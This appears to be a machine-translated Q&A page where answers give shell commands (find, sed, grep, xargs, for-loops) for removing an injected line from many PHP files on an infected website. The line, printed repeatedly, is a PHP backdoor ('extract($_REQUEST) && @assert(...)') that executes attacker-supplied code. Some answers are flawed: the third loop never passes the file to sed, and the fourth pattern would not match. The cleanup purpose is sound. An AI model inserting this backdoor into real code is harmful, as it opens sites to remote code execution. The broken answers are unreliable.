Команда Linux для поиска и удаления текста из нескольких файлов одновременно

Команда Linux для поиска и удаления текста из нескольких файлов одновременно

Мой сайт заражен вирусом. Этот вирус добавил эту строку в несколько файлов на моем сайте. Моя идея — удалить эту строку текста с помощью уникальной команды из терминала.

Допустим, у меня есть папка «my-folder», а внутри нее мои файлы: «file-1.php», «file-2.php» и так далее.

И, допустим, заражено несколько файлов.

Есть ли команда, чтобы найти и удалить эту строку кода в нескольких файлах?однажды?

Текст для удаления: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

Я нашел это, но это работает только с одним файлом:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

Я могу сделать это?

решение1

  1. Вы можете объединить sedс find, чтобы сделать его рекурсивным. Что-то вроде этого:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    Обратите внимание, что он пройдет по текущему дереву каталогов и применит sed к каждому существующему файлу "*php". Он также создаст файл резервной копии .bak для каждого измененного файла (чтобы вы могли восстановить его позже, на всякий случай). Если вам не нужна резервная копия, замените -i.bakпросто на -i. В противном случае вы можете удалить резервные копии позже (после того, как убедитесь, что все в порядке) чем-то вроде find . -name "*php.bak" -delete.

  2. Этот шаг не поможет вам исправить все прямо сейчас, но он определенно может сэкономить вам время в будущем: сохраните свой каталог со скриптами в git(в идеале это должно быть полное решение CI/CD, но вы можете начать просто с git), чтобы вы могли легко откатить / перенести изменения, которые были применены к вашим файлам.

решение2

Найдите файлы, содержащие вредоносную строку, и отредактируйте их с помощью sed:

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Я часто полагаюсь наagдля поиска только phpфайлов с --phpфлагом. Если вы предпочитаете, вы можете сделать то же самое с помощью grep -r -i --include \*.php:

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

решение3

В зависимости от вашей команды, я предлагаю вам использовать для этого цикл «for»:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

также вы можете добавить любой файл, который вы хотите, в "for i in file-1.php file-2.php file-n.php

решение4

Вы можете использовать метод ниже, чтобы удалить строки в файле, которые содержат определенный шаблон.

Вы можете упомянуть файлы в цикле for

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

Связанный контент